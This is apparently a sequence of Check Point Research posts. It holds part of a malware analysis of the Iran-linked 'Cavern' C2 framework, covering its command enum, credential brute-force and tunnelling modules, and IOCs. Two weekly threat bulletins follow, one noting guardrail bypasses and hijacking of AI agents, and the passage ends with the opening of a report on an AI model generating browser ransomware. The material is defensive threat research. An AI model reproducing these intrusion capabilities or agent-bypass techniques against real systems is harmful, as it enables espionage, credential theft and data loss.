A few practical observations follow directly from the table. First, the XOR transform with key 0x48 is the framework’s traffic-encoding layer, and it applies to every C2-bound channel: it is on both directions of the HTTP path (get / send) and on both directions of the WebSocket path (getws / sendws), plus the initial WS handshake frame. The only verbs that bypass it are cget, cpost and upload, which talk to operator-supplied URLs that have nothing to do with the Cavern C2. Second, Base64 is applied on top of XOR only for the HTTP transport (get and send), where the body has to survive as text/plain; the WebSocket path skips Base64 because it can carry the raw XORed bytes inside a text frame directly. Third, the User-Agent header is fixed across every HTTP verb, including the operator-driven ones, which makes the UA itself a stable host artifact for detection.

5. Post-Exploitation Modules

All Cavern modules, regardless of compilation format, share a uniform interface contract: the agent invokes get_version(List<string> args) for managed modules or get_version(wchar_t* args) for native modules. The first argument carries a newline-delimited command string using numeric command IDs from the shared Command.Type enum, with _;;_ and _,_ as field/argument delimiters.

The full command set is defined once in that shared enum and reused across every module. We recovered it intact from the .NET Framework modules, which keep their symbols, and it is worth showing in full because the IDs are grouped by capability area. The grouping itself is informative: each block of numbers maps to one functional category, and the gaps between blocks line up neatly with the individual modules that implement them.

public enum Command.Type
{
    NONE                    = 0,    // 0x0   - sentinel / no command         (Agent: uxtheme.dll)
    CHANGE_ALIVE_TIME       = 1,    // 0x1   - update polling interval       (Agent: uxtheme.dll)

    INFO                    = 101,  // 0x65  - host information              (mhm.dll)
    CRYPT_DECRYPT           = 102,  // 0x66  - DPAPI decrypt                 (mhm.dll)
    TOKEN_INFO              = 103,  // 0x67  - token information             (mhm.dll)
    TIME_INFO               = 104,  // 0x68  - time information              (mhm.dll)

    SQL_QUERY               = 201,  // 0xC9  - SQL query                     (db.dll)

    COPY_DIR                = 301,  // 0x12D - copy directory                (mhm.dll)
    COPY_FILE               = 302,  // 0x12E - copy file                     (mhm.dll)
    DRIVES_LIST             = 305,  // 0x131 - list drives                   (mhm.dll)
    FILES_FOLDERS_INFO      = 306,  // 0x132 - files / folders info          (mhm.dll)
    MOVE_FILE               = 307,  // 0x133 - move file                     (mhm.dll)
    MOVE_FOLDER             = 308,  // 0x134 - move folder                   (mhm.dll)
    DEL_FILE                = 309,  // 0x135 - delete file                   (mhm.dll)
    DEL_FOLDER              = 310,  // 0x136 - delete folder                 (mhm.dll)
    CREATE_FOLDER           = 311,  // 0x137 - create folder                 (mhm.dll)
    FILE_FOLDER_LIST        = 312,  // 0x138 - list files / folders          (mhm.dll)
    SEARCH_FILE             = 313,  // 0x139 - search files                  (mhm.dll)
    MOVE                    = 314,  // 0x13A - move                          (mhm.dll)

    LDAP_TEST               = 401,  // 0x191 - LDAP bind test                (ode.dll)
    LDAP_ALL_GROUPS         = 402,  // 0x192 - enumerate all groups          (ode.dll)
    LDAP_ALL_USERS          = 403,  // 0x193 - enumerate all users           (ode.dll)
    LDAP_GROUP_MEMBER       = 404,  // 0x194 - group members                 (ode.dll)
    LDAP_SEARCH             = 405,  // 0x195 - LDAP search                   (ode.dll)
    LDAP_USER_PROPS         = 406,  // 0x196 - user properties               (ode.dll)
    LDAP_BRUTE              = 407,  // 0x197 - LDAP brute-force              (ode.dll)

    PROC_KILL               = 501,  // 0x1F5 - kill process                  (not in modular set; older Cav3rn)
    PROC_LIST               = 502,  // 0x1F6 - list processes                (not in modular set; older Cav3rn)

    REG_ADD                 = 601,  // 0x259 - registry add                  (not in modular set; older Cav3rn)
    REG_DEL                 = 602,  // 0x25A - registry delete               (not in modular set; older Cav3rn)
    REG_QRY_SUBKEYS         = 603,  // 0x25B - registry query subkeys        (not in modular set; older Cav3rn)
    REG_QRY_VALUE           = 604,  // 0x25C - registry query value          (not in modular set; older Cav3rn)

    SRV_LIST                = 701,  // 0x2BD - list services                 (not in modular set; older Cav3rn)
    SRV_RESET               = 702,  // 0x2BE - reset service                 (not in modular set; older Cav3rn)
    SRV_START               = 703,  // 0x2BF - start service                 (not in modular set; older Cav3rn)
    SRV_STOP                = 704,  // 0x2C0 - stop service                  (not in modular set; older Cav3rn)

    GZ_READ                 = 801,  // 0x321 - GZip read (download)          (mhm.dll)
    GZ_WRITE                = 802,  // 0x322 - GZip write (upload)           (mhm.dll)
    COMPRESS_DIR            = 803,  // 0x323 - compress directory            (mhm.dll)
    DECOMPRESS_DIR          = 804,  // 0x324 - decompress directory          (mhm.dll)
    DECOMPRESS_FILE         = 805,  // 0x325 - decompress file               (mhm.dll)
    LIST_ARCHIVE_ITEMS      = 806,  // 0x326 - list archive items            (mhm.dll)

    DBBrowser               = 901,  // 0x385 - SQL database browser          (db.dll)

    NET_DNS_RESOLVE         = 1101, // 0x44D - DNS resolve                   (n-ten.dll)
    NET_INTERFACES          = 1102, // 0x44E - network interfaces            (n-ten.dll)
    NET_IP_CONFIG           = 1103, // 0x44F - IP configuration              (n-ten.dll)
    NET_PING                = 1104, // 0x450 - ping host                     (n-ten.dll)
    NET_STAT                = 1106, // 0x452 - netstat / connections         (n-ten.dll)

    NET_USE_GET_MAP_DRV     = 1201, // 0x4B1 - list mapped drives            (n-ten.dll)
    NET_USE_MAP_DRV         = 1202, // 0x4B2 - map network drive             (n-ten.dll)
    NET_USE_UNMAP_DRV       = 1203, // 0x4B3 - unmap network drive           (n-ten.dll)
    NET_USE_BRUTE           = 1204, // 0x4B4 - SMB credential brute-force    (n-ten.dll)

    NET_USR_GET             = 1301, // 0x515 - user info                     (n-ten.dll)
    NET_USR_GET_ALL         = 1302, // 0x516 - enumerate users               (n-ten.dll)

    NET_LOCAL_GROUP         = 1401, // 0x579 - enumerate local groups        (n-ten.dll)
    NET_LOCAL_GROUP_MEMBERS = 1402, // 0x57A - local group members           (n-ten.dll)

    NET_ARP_TABLE           = 1501, // 0x5DD - ARP table                     (n-ten.dll)

    NET_GET_DOMAIN          = 1601, // 0x641 - current domain / workstation  (n-ten.dll)
    NET_VIEW_SHARE_LIST     = 1602, // 0x642 - list shares on a host         (n-ten.dll)
    NET_DOMAIN_COMPUTERS    = 1603, // 0x643 - list computers in domain      (n-ten.dll)

    NET_PORT_SCN            = 1701  // 0x6A5 - TCP port scan                 (n-ten.dll)
}

The enum defines 61 command IDs in total. Most map directly to a handler in one of the recovered modules, but a handful (such as the 5xx process and 6xx/7xx registry and service ranges) have no implementation in any sample we obtained, which suggests at least one module was never delivered to the victim and is still missing from our set.

Two older Cav3rn-era samples found on VirusTotal during this writeup also help frame that gap. They predate the rename, are nearly identical to each other, and are not part of the modular intrusion documented here, but each ships every ApiEx.* capability (ApiEx.Proc, ApiEx.Reg, ApiEx.Serv included – related to the 5xx/6xx/7xx command IDs) inside a single .NET DLL under namespace CAV3RN_APIEX_Module rather than across separate modules. Transport in those builds is split: the Cav3rn agent itself only reads steganographic command PNGs from a local inpt\ directory and writes result PNGs into outpt\, while the HTTP exchange against the C2 is performed by a separate HTTP companion module (CAV3RN_Http_Module), which we later recovered as a third Cav3rn-era sample. The companion consumes the same Domain[] and PageName = "cac.aspx" constants the agent carries, POSTs s=<timestamp>&id=<AgentID>&q=<XOR+Base32 telemetry> to https://<adserviceupdate[.]com|hygienehistory[.]com>/cac.aspx, and expects a response whose body starts with a fixed 21-byte JPEG magic header and whose Content-Disposition: filename= value is XOR+Base32-encrypted with the AgentID, then drops the carved payload into the same local inpt\ directory the agent reads from. Two details in that exchange show that cac.aspx is an operator-deployed handler rather than an abused legitimate page: the request and response shape is a custom protocol no clean IIS server would understand or produce, and the companion’s ServerCertificateValidationCallback is hard-coded to always return true, meaning the operator is explicitly not relying on a properly-issued certificate for the C2 endpoint. Whether the underlying IIS server is attacker-stood-up or cac.aspx was planted on a third-party host the operator does not fully control is not something the binary distinguishes.

The modern framework collapses both halves into n-HTCommp.dll with direct HTTPS / WebSocket. The command set is also smaller and clearly under active development, and there is no NativeAOT, no Mixed-Mode wrapper, and no AppDomain isolation. Today’s Cavern is a refactor of that same project, split across separate modules and rebuilt around three different compilation formats to harden the analysis. The three hashes (Cav3rn-era samples) are listed in the IOC section as the older Cav3rn agent (two near-identical builds) and the older Cav3rn HTTP module; the rest of this publication stays focused on the modular generation actually used in the intrusion.

5.1 File Manager – “mhm.dll”

The file manager module implements the broadest command surface across three of the enum blocks (the 1xx information block 101-104, the 3xx file/directory block 301-314, and the 8xx archive block 801-806): host information collection, DPAPI decryption, drive/file/directory enumeration, recursive file search with content matching, GZip+Base64 file transfer in both directions, ZIP archive creation/extraction, and file/directory manipulation. It does not implement the 5xx, 6xx, or 7xx ranges even though those IDs are present in the shared enum it ships.

Its most notable capability is DPAPI decryption of operator-supplied blobs. The CryptDecrypt function takes a Base64-encoded DPAPI-protected blob, calls ProtectedData.Unprotect with DataProtectionScope.CurrentUser, and returns the decrypted plaintext. Because the module runs inside the victim’s process under their user token, this lets the operator decrypt any DPAPI-protected secret that belongs to the compromised user.

An older variant of mhm.dll retains legacy “Cav3rn” naming artifacts in its static configuration: file extensions .CvnC.png, .CvnA.png, .CvnR.png for command, API, and result files, respectively, a config filename Cvn.cfg, a hardcoded page name cac.aspx, and embedded JPEG header magic bytes. These artifacts point to an earlier webshell-style transport layer (the HTTP side fronted by an ASP.NET page on a separate IIS server, invoked by the older Cav3rn HTTP module covered in Section 5, not by this module or by the older Cav3rn agent itself) that was retired when the framework evolved from “Cav3rn” to “Cavern” and moved to the n-HTCommp.dll native communication module.

5.2 SQL Database Browser – “db.dll”

The database module implements a REST-like route dispatcher that accepts JSON commands with operator-supplied SQL Server credentials passed through pseudo-HTTP headers. It supports SQL database enumeration, query, export, and manipulation.

The connection pool caches SQL connections keyed by connection string. Credentials are supplied per-request via x-db-user, x-db-password, x-db-host, with optional x-db-encrypt and x-db-trust-cert fields, a convention borrowed from HTTP header-based authentication patterns.

5.3 LDAP / Active Directory Module – “ode.dll”

The LDAP module provides Active Directory reconnaissance and credential testing. It auto-discovers the LDAP server and base DN from LDAP://RootDSE when not explicitly supplied, performs paged searches with a page size of 1,000, and always accepts TLS certificates without validation.

The most operationally significant function is LdapBrute, which accepts semicolon-delimited username and hex-encoded password lists, supports file-based input via the <path prefix convention, and includes a configurable inter-attempt delay with break-on-success logic.

5.4 Network Reconnaissance Module – “n-ten.dll” (NativeAOT)

The network module is compiled as NativeAOT and provides network reconnaissance, port scan, share enumeration, and SMB brute-force. It resolves its security-sensitive Windows APIs at runtime through P/Invoke descriptor tables, which keep them out of the PE import table. Static analysis of the P/Invoke resolution data recovered 21 dynamically-loaded API descriptors. A selection of the most security-relevant ones is shown below:

P/Invoke Target	Library	Purpose
WNetAddConnection2	mpr.dll	Map network drive with credentials
WNetCancelConnection2	mpr.dll	Unmap network drive
WNetOpenEnum / WNetEnumResource	mpr.dll	Enumerate network resources
NetUserEnum / NetUserGetInfo	netapi32.dll	User enumeration
NetLocalGroupEnum / GetMembers	netapi32.dll	Local group enumeration
NetServerEnum	netapi32.dll	Domain computer discovery
NetShareEnum	netapi32.dll	Share enumeration
NetWkstaGetInfo	netapi32.dll	Domain/workstation info

The NetUseBrute function iterates over operator-supplied credential pairs, calling WNetAddConnection2 against a target share with each pair and immediately disconnecting successful connections via WNetCancelConnection2, which gives the operator an SMB-based credential spraying primitive.

5.5 SOCKS5 / WebSocket Tunnel – “n-sws.dll” (NativeAOT)

The tunnel module implements a full SOCKS5 proxy and WebSocket/WSS tunnel in both server and client modes. Its get_version export parses operator-supplied configuration, constructs a command-line argument vector, and dispatches to the internal argument parser, which supports:

Server:  -s -tp <tunnel_port> -sp <socks5_port> -u <user> -p <pass> [-i <info_url>]
Client:  -c -ti <tunnel_ip|domain> -tp <tunnel_port> [-ll <log_level>]

In server mode, it binds HTTP/HTTPS listeners, accepts incoming WebSocket upgrades, enforces username/password authentication, and relays SOCKS5 proxy traffic through the WebSocket tunnel. A built-in HTTP status page at /index.htm returns a Server Status HTML response, a small operational convenience. The tunnel protocol handles five message opcodes: connect, heartbeat, data, disconnect, and error.

The binary also preserves developer typos such as "tunnel message receivecd" and "handeling connect ms". Misspellings like these are another small human fingerprint, the kind of thing a person types in a hurry and a code generator generally does not produce. We pull these threads together in the next section.

6. Attribution Indicators

The recovered artifacts contain several developer and infrastructure fingerprints:

• PDB paths across three modules consistently reference C:\Users\rick\Desktop\Modules\cavern\, which establishes “rick” as the developer username and “cavern” as the internal project name.
• C2 infrastructure uses subdomains of hospitalinstallation[.]com: auth[.]hospitalinstallation[.]com (older builds) and google[.]com[.]hospitalinstallation[.]com (newer builds, where the google[.]com[.] prefix is a simple visual trick aimed at anyone skimming proxy logs).
• Legacy naming in the older mhm.dll variant references Cav3rn (with a leetspeak “3”) through field names like Cav3rnCommandExt, which suggests the framework was renamed from “Cav3rn” to “Cavern” during its development.
• Cross-version continuity. Two older non-modular Cav3rn samples (listed in IOCs as the older Cav3rn agent) carry the same ApiEx.* capability tree, the same Command.Type enum and the same idiosyncratic method names that today’s modular Cavern is built on top of. The newer framework adds commands (LDAP_BRUTE, CRYPT_DECRYPT, archive ops and the NET_PORT_SCN block), retires the webshell + steganography transport in favor of n-HTCommp.dll, and splits the codebase across three different compilation formats – a refactor of the same project, not a rewrite.

7. Authorship and the Human Factor

It is worth pausing on a question that comes up with almost every new toolset we look at today: how much of this was written by a person, and how much by an AI coding assistant. In 2026 it is genuinely hard to imagine a project of this size being built with no AI assistance at all, and we would not claim that Cavern was. Boilerplate such as the JSON formatting, the LINQ-heavy collection handling, and the standard P/Invoke signatures could easily have been drafted or completed with a model. That kind of help is so common now that its presence would tell us very little.

What the artifacts do tell us, and tell us clearly, is that a human was significantly and substantively involved in building this framework. The evidence is in the rough edges that a code generator tends to sand off:

• Error strings written in frustration. The native module dispatcher of the Cavern agent returns "What is this sh*t?! where is get_version?!?" when an export is missing and "DLL not found...Maybe you didn't upload it!!!" when a module is absent. These are first-person, profane, and exasperated. They are the voice of an operator debugging their own tooling, not the neutral phrasing a model defaults to.
• Typos baked into the binaries. The tunnel module carries "tunnel message receivecd" and "handeling connect ms", and the SQL module builds a query as SELECT TOP({0}) *FROM[{1}].[{2}] with the space dropped before FROM. Small slips like these are what a person produces while typing quickly.
• Idiosyncratic, hand-picked names. Hardcoded markers such as the MYMUTEX123HELLP02 / MYMUTEX123HELLP04 mutexes and the leetspeak Cav3rn to Cavern rename are personal choices, the kind of naming a developer reaches for, not output a model would converge on.
• Inconsistencies across modules. Casing drifts (netapi32.dll in some descriptors, Netapi32.dll in others), debug strings read like scratch notes (No Handler for path [...] ++), and the command grammar is bespoke rather than a library default.

None of these are individually conclusive, but together they form a consistent picture. The higher-level decisions (the three-format compilation strategy, the per-module AppDomain isolation with post-execution unload, the numbered self-update scheme) reflect deliberate design by someone who understood the trade-offs. The low-level texture (the frustration, the typos, the personal naming) reflects hands-on human coding. Our assessment is that Cavern is a human-authored framework, very plausibly built with some AI assistance for routine code, but driven and shaped throughout by a developer rather than generated end to end.

Victimology

Our analysis indicates that Cavern Manticore is primarily focused on Israeli targets, with particular interest in organizations operating in the government and IT sectors. Recent campaigns suggest that the threat actor possesses a strong understanding of the complex IT supplier chains within Israel’s cyber ecosystem. In several cases, we observed evidence of the actor moving from an initial compromised IT provider to a second-hop provider before ultimately reaching the intended target organization. This activity highlights the operational value of trusted service-provider relationships, particularly where Remote Monitoring and Management (RMM) solutions are deployed. By abusing these tools, the actor can move laterally between victims and deliver malicious software disguised as legitimate updates. The actor also appears to leverage browser-based remote desktop technologies to access targets of interest and, in some cases, abuse built-in features such as remote printing to exfiltrate data when clipboard-based copy-paste or file-transfer capabilities are restricted.

Attribution

During our analysis of an older Cavern Manticore toolset, we identified a communication module (CAV3RN_Http_Module) that uses a webshell-style ASP.NET handler, cac.aspx, hosted on a separate IIS server at one of two attacker-controlled or attacker-deployed domains and used as the command-and-control endpoint. The use of victim-side infrastructure to proxy C2 traffic, combined with XOR-based obfuscation, Base64 encoding, and a fixed verb set per backdoor, is consistent with techniques we have previously observed in operations attributed to OilRig subgroup named Lyceum. Additional overlaps further support a possible Iranian nexus: the targeting of SysAid servers has been observed in past activity linked to Iranian MOIS-aligned actors, including MuddyWater, and this campaign similarly focused on major IT providers in Israel. Finally, WHOIS analysis of the root domain observed in the campaign, hospitalinstallation[.]com, showed that it was registered through Fars Data, an Iranian hosting provider. Taken together, these technical evidences suggest a connection to Iranian-nexus threat activity.

Conclusion

Cavern Manticore illustrates the continued evolution of Iran-nexus cyber capabilities, exposing a mature and modular C2 framework that can be rapidly adapted to new campaigns, targets, and operational requirements. The adversary’s ability to gain access to organizations in the defense and government sectors during the U.S. military campaign “Operation Epic Fury” demonstrates both a high operational tempo and a disciplined approach to target selection.

This activity also emphasizes the persistent risk posed by supply-chain compromise. In several cases, a compromised IT supplier was not the final objective, but rather the first hop toward a higher-value target. By abusing trusted access relationships, the operators were able to move across organizational boundaries while blending into legitimate administrative workflows.

The campaign further highlights the expanding role of Remote Monitoring and Management tools (RMM) as an evolution of traditional living-off-the-land techniques. For defenders, this reinforces the need to monitor anomalous activity originating from otherwise benign RMM software, enforce strict access controls, limit remote sessions, and reduce the overall attack surface exposed through third-party management infrastructure.

By decoupling its core infrastructure from mission-specific modules, Cavern Manticore’s operators gain both operational agility and durability under defensive pressure. This modularity allows them to adjust capabilities per campaign while preserving the underlying framework. For defenders, the key takeaway is clear: detection strategies must move beyond static IOCs and focus on malware behavior patterns, infrastructure, and abuse of trusted administrative channels.

Protections

Check Point Threat Emulation and Harmony Endpoint provide comprehensive coverage of this attack and protect against threats described in this report.

Security Recommendation

Conduct a focused review of logs, process execution events, and file activity involving uxtheme.dll, as this DLL is known to be abused in DLL sideloading attack chains. Security teams should also examine the C:\ProgramData directory for unusual DLL placement, recently created folders, unsigned binaries, or execution patterns that may indicate attempted or successful DLL sideloading.

IOCs

Hashes

SHA-256	Component
37e123bd7998af4eae32718ce254776f36365a80ba56952593dab46f536d4066	uxtheme.dll (Cavern Agent, build 02)
92cae0ad7f98f51a14bcc0ee05e372ebdc29ea96ea7bd161bd3f55198767603b	uxtheme.dll (Cavern Agent, build 04)
5dc08bda6919a57a85e5f38b857985fa71529ca39c8299868d5a49a987e19b18	uxtheme.dll (Cavern Agent, oldest)
a4aa217def4c38f4ecacdf47b1cd687f60cc74c18ab75195be3c4357a790bf41	n-HTCommp.dll (communication module)
b630c96d3763182533d4fb9b614134382bd644cb02c6c1c3ade848b6ecc31e86	n-HTCommp.dll (communication module)
8e9425c0b46eeb516610ae913d13f2b3f44a023043cb099277031d4ec38a6134	mhm.dll (file manager module)
0a3663648a46771a5a5423ad01e91a4e7ba825595e99fa934cb35cbb4848adc8	mhm.dll (file manager module, older “Cav3rn” variant)
5394d3b220de4695f731647e3a70545f951a8912ceb0c6585efab8d6842e8b42	db.dll (SQL database browser module)
30cb4679c4b8599eeb3d63a551716475c6332bdc4d4b4e3de0964aadb3092a10	ode.dll (LDAP / Active Directory module)
2cb1ad3b22db8e3666ea138fee88034a87a87cf43db3d3265a675ebf221379b0	n-ten.dll (network reconnaissance module)
7d586fb7f94182a8e2a0e53c7e4deb898066da029da5cd9972a94a59ca6d255a	n-sws.dll (SOCKS5 / WebSocket tunnel module)
541b1f417b9e42078c3355693a8a492b6a76048850f6549a429e0be99e6819cb	Older Cav3rn agent (earlier non-modular build)
cbc9485db715e1b8cc384fe94b4cceadca4006cda8a5e28adc8848529cfafc93	Older Cav3rn agent (earlier non-modular build)
ccf218189c3aadb1c761da14bfda3bae686769031e1e1b10007648bd72e34748	Older Cav3rn HTTP module (CAV3RN_Http_Module)

Network

Indicator	Type
hospitalinstallation[.]com	Parent domain
auth[.]hospitalinstallation[.]com	C2 (older agent)
google[.]com[.]hospitalinstallation[.]com	C2 (newer agents)
adserviceupdate[.]com	C2 domain invoked by the older Cav3rn HTTP module at https://adserviceupdate[.]com/cac.aspx; part of the older Cav3rn agent config
hygienehistory[.]com	C2 domain invoked by the older Cav3rn HTTP module at https://hygienehistory[.]com/cac.aspx; part of the older Cav3rn agent config

Host Artifacts

Indicator	Context
MYMUTEX123HELLP / MYMUTEX123HELLP02 / MYMUTEX123HELLP04	Mutex names
config.txt with keys i, xd, int	Agent configuration
Cvn.cfg.A / Cvn.cfg.U	Legacy alive-time config
C:\Users\rick\Desktop\Modules\cavern\	PDB path prefix
cac.aspx	Operator-deployed ASP.NET handler at https://<adserviceupdate[.]com|hygienehistory[.]com>/cac.aspx. Carried as configuration by the older Cav3rn agent and the older mhm.dll variant (defined but not invoked by either), and invoked by the older Cav3rn HTTP module.
inpt / outpt working directories	Command / result drop dirs for the older Cav3rn agent
.CvnC.png / .CvnA.png / .CvnR.png (JPEG-magic prefixed)	PNG-styled steganographic command / default-API / result files used by the older Cav3rn agent

The post Cavern Manticore: Exposing Iran-Linked Modular C2 Framework appeared first on Check Point Research.

For the latest discoveries in cyber research for the week of 6th July, please download our Threat Intelligence Bulletin.

TOP ATTACKS AND BREACHES

• River Bank & Trust, a US financial institution, has experienced a ransomware incident after an unauthorized actor accessed the network of parent company River Financial Corporation on June 16. The bank found ransomware on portions of its server environment and is assessing whether personal data was accessed or exfiltrated.
• Indra Group, a Spanish defense, aerospace, and technology contractor and NATO cyber coalition member, has confirmed a ransomware attack affecting one subsidiary. The Gentlemen ransomware gang threatened to leak allegedly stolen data, while Indra said the incident was contained and that service continuity was maintained.

Check Point Threat Emulation and Harmony Endpoint provide protection against this threat

• Nidec, a Japanese electric motor and industrial manufacturer, has disclosed a ransomware attack affecting the network of its Taiwanese subsidiary, Nidec Chaun Choung Technology. BlackField group claimed responsibility and alleged theft of more than two terabytes of corporate data, including employee, financial, procurement, manufacturing, legal, and IT records.
• US insurance firm Aflac has disclosed a data breach affecting its Japan operations after attackers accessed its policyholder portal between June 15 and June 25. Personal and financial data of nearly 4.4 million customers was exposed, including policyholder information and premium payment account details.

AI THREATS

• Check Point Research has demonstrated a browser-native ransomware technique generated by a large language model that abuses Chrome’s File System Access API. A fake image-enhancement page convinces users to grant folder access, then reads, exfiltrates, and encrypts photos inside the browser on Android and Windows.
• Researchers examined shell command injection weaknesses in open-source AI coding agents, finding that 10 out of 11 popular tools failed to block obfuscated destructive commands. Simple rewrites bypassed filters and enabled destructive actions, including file deletion, while only the Continue agent properly parsed commands.
• Researchers warned that attackers are exploiting LLM phantom squatting by registering AI-generated domains to hijack traffic and deliver phishing. They recorded 250,000 hallucinated domains and subsequent registrations, including an AI-built phishing kit, Montana Empire, using a postal-service domain for credential theft.

VULNERABILITIES AND PATCHES

• Oracle E-Business Suite is affected by CVE-2026-46817, a critical remote code execution flaw reportedly exploited against about 950 internet-exposed instances worldwide. Successful exploitation can give attackers control over ERP systems.

Check Point IPS provides protection against this threat (Oracle E-Business Suite Authentication Bypass (CVE-2026-46817))

• Linux kernel maintainers patched CVE-2026-46242, a Bad Epoll privilege escalation flaw affecting Linux servers, desktops, and Android devices. The race-condition use-after-free vulnerability allows an unprivileged local user to gain root access, and a public exploit demonstrated reliable exploitation against vulnerable systems.
• Citrix has addressed CVE-2026-8451, a NetScaler ADC and NetScaler Gateway memory disclosure flaw affecting SAML Identity Provider configurations. Active exploitation was observed less than 24 hours after disclosure, with attacks able to leak session tokens from vulnerable appliances.

Check Point IPS provides protection against this threat (Citrix NetScaler Out Of Bounds Read (CVE-2026-8451))

• Progress has addressed CVE-2026-8037, a critical OS command injection flaw in Kemp LoadMaster load balancers with a CVSS score of 9.6. Exploitation attempts began on June 29 and could allow unauthenticated remote code execution against vulnerable systems.

Check Point IPS provides protection against this threat (Progress Kemp LoadMaster Commad Injection (CVE-2024-1212, CVE-2026-8037))

THREAT INTELLIGENCE REPORTS

• Researchers elaborated on a North Korea-aligned supply-chain campaign dubbed PolinRider, which published 108 malicious packages and a Chrome extension across open-source registries. The attackers abused VS Code auto-run tasks and hidden JavaScript loaders to fetch second-stage malware and deploy DEV#POPPER and OmniStealer.
• Researchers observed a partnership between the Vect ransomware group and TeamPCP, a supply chain credential-theft gang, that industrializes ransomware delivery. At least one Vect attack using TeamPCP-sourced credentials was confirmed.
• Researchers detected the ChocoPoC campaign, which weaponizes fake proof-of-concept exploits on GitHub and PyPI to infect vulnerability researchers with a Python RAT. The malware hides commands on Mapbox datasets and steals files and browser data while executing attacker commands.
• Researchers analyzed 3,000 live ClickFix payloads and found rotating wrappers, custom command generation, and a Downloads-folder technique designed to bypass AMSI protections. The research shows how ClickFix has evolved from simple social engineering into an API-driven malware delivery ecosystem.

The post 6th July – Threat Intelligence Report appeared first on Check Point Research.

For the latest discoveries in cyber research for the week of 22nd June, please download our Threat Intelligence Bulletin. TOP ATTACKS AND BREACHES

• Texas Parks and Wildlife Department has been affected by a third-party data breach involving its license system vendor. The incident exposed driver’s license information, passport numbers, emails, phone numbers, and residential addresses for 3,087,721 hunting and fishing license customers. Social Security numbers and payment data were not affected.
• ShapedPlugin, a WordPress plugin vendor, has faced a supply chain attack that delivered malicious updates for three paid plugins through its official updater. The malware installed a hidden fake WooCommerce plugin to steal admin, database, and 2FA credentials and modify affected websites. Incident analysis tied the compromise to vendor release infrastructure.
• iRhythm Technologies, a US digital health company focused on remote cardiac monitoring, has experienced a cyberattack involving third-party-hosted business applications. The company confirmed that attackers stole protected health information, proprietary data, and other personal data through a social engineering attack. Clinical systems were not affected.
• Market intelligence platform Klue has confirmed a breach after attackers used compromised legacy integration credentials to steal OAuth tokens connected to customer Salesforce environments. The tokens enabled theft of sales and customer data from several clients, including Huntress, Recorded Future, Tanium, and Jamf. The Icarus extortion group claimed responsibility.

AI THREATS

• Researchers have detailed EvilTokens, an AI-powered phishing-as-a-service operation abusing device-code authentication to steal Microsoft 365 tokens. Huntress observed a 1,380% surge in device-code phishing in early 2026, with AI-generated lures and automated workflows lowering attacker effort.
• Researchers have crafted a fake AI skill that hijacked more than 26,000 AI agents by abusing trusted marketplaces and Instagram ads in a supply chain attack. The package initially appeared clean, then used attacker-controlled external instructions after approval to trigger data exfiltration across agent platforms.
• LayerX researchers have demonstrated BioShocking AI, a technique that tricks agentic browsers into bypassing their guardrails. Test cases against ChatGPT Atlas, Perplexity Comet, Claude in Chrome, and other AI browsers showed how game-like prompts could expose credentials and user data.

VULNERABILITIES AND PATCHES

• Cisco has addressed CVE-2026-20245, a high-severity command injection flaw in Catalyst SD-WAN Manager that attackers exploited as a zero-day for months. The flaw allows an administrator to run root commands through a crafted file, affecting on-premises and Cisco-managed cloud deployments.
• Dify has released version 1.14.2 to fix four vulnerabilities in its open-source AI platform, including critical CVE-2026-41947 and CVE-2026-41948. The flaws could allow unauthenticated access and cross-tenant data exposure, including chat content and uploaded files.
• Ubiquiti UniFi OS is affected by three flaws, CVE-2026-34908, CVE-2026-34909, and CVE-2026-34910, which are reportedly being exploited against network appliances. The vulnerabilities allow unauthorized changes, file access, and command execution, with exploitation observed in Mirai botnet activity.

Check Point IPS provides protection against these threats (Ubiquiti UniFi OS Privilege Escalation (CVE-2026-34908), Ubiquiti UniFi OS Directory Traversal (CVE-2026-34909), Ubiquiti UniFi OS Command Injection (CVE-2026-34910))

• Langflow, an open-source AI workflow tool, is reportedly being targeted through exploitation of CVE-2026-55255, alongside ongoing mass exploitation of CVE-2026-33017. Attackers enumerated flow IDs to run victim pipelines and extract embedded API keys, while remote code execution enabled malware deployment and cloud credential theft.

Check Point IPS provides protection against this threat (Langflow Remote Code Execution (CVE-2026-33017))

THREAT INTELLIGENCE REPORTS

• Researchers have uncovered the FortiBleed campaign, which converts compromised FortiGate firewalls into passive credential stealers across 24 protocols. The operation targeted more than 430,000 devices worldwide and siphoned more than 110 million credentials.
• Researchers have attributed the StockStay espionage malware to Russia-linked Turla and described targeting of Ukrainian government and defense organizations. The malware evolved from a fake stock app to PDF reader and calculator lookalikes, delivered through phishing with malicious remote desktop configuration files.
• Researchers have revealed that the Chinese DCloud Uni-App framework powers at least 236,493 scam domains since 2022, including fake crypto exchanges, wallet drainers, WhatsApp phishing, and gambling schemes. Technical fingerprints suggest centralized operators, likely China-based, supporting a broad fraud ecosystem.
• Researchers have analyzed the FulcrumSec cloud extortion group targeting cloud-native organizations. The group exploits exposed credentials, unpatched applications, and misconfigured storage, then uses broad permissions to move across environments, collect data for months, and exfiltrate it using legitimate tools.

The post 22nd June – Threat Intelligence Report appeared first on Check Point Research.

Research by: Alexey Bukhteyev

Key Takeaways

• AI can turn high-level malicious ideas into concrete techniques, and can independently design and implement novel attack paths that have not yet appeared in real-world campaigns.
• In this research, DeepSeek connected unrealistic browser-malware concepts with a real browser capability, turning an AI-generated malware hallucination into a plausible browser-native ransomware technique. Although the generated sample was incomplete, it exposed a practical abuse path based on the File System Access API and access to photo directories.
• The technique does not require a native payload, APK installation, browser exploit, or root access. It relies on social engineering and a legitimate permission prompt exposed by the File System Access API in Google Chrome.
• The Android scenario is especially concerning because photo directories are high value personal data stores and, unlike iOS, modern Android Chrome versions expose a browser API that allows web pages to read and modify files in those directories after user approval. Using a fake AI image-enhancement workflow gives users a plausible reason to approve folder-level file access. Our PoC demonstrates this browser-only workflow against selected image directories on Android.

Introduction

Over the past several years, large language models have reshaped software development, and malware development has followed the same path. Check Point Research has documented this trend from early experiments showing that AI systems could generate offensive components, to cases of cybercriminals using ChatGPT to create malicious tools, and later to advanced AI-authored malware frameworks such as VoidLink. In some cases, LLMs lowered the barrier enough for users with little or no development experience to produce working offensive code.

As frontier models became better at writing reliable code, including complex security related components, major AI vendors also turned cyber safety into a dedicated control area. Clearly malicious requests involving credential theft, malware deployment, ransomware behavior, persistence, stealth, or unauthorized exploitation are now commonly blocked or refused. OpenAI’s cyber-safety documentation, for example, describes additional safeguards for models classified as having High Cybersecurity Capability, while Anthropic has published reports on detecting and countering cyber misuse of Claude.

DeepSeek then becomes particularly relevant in this context for several reasons:

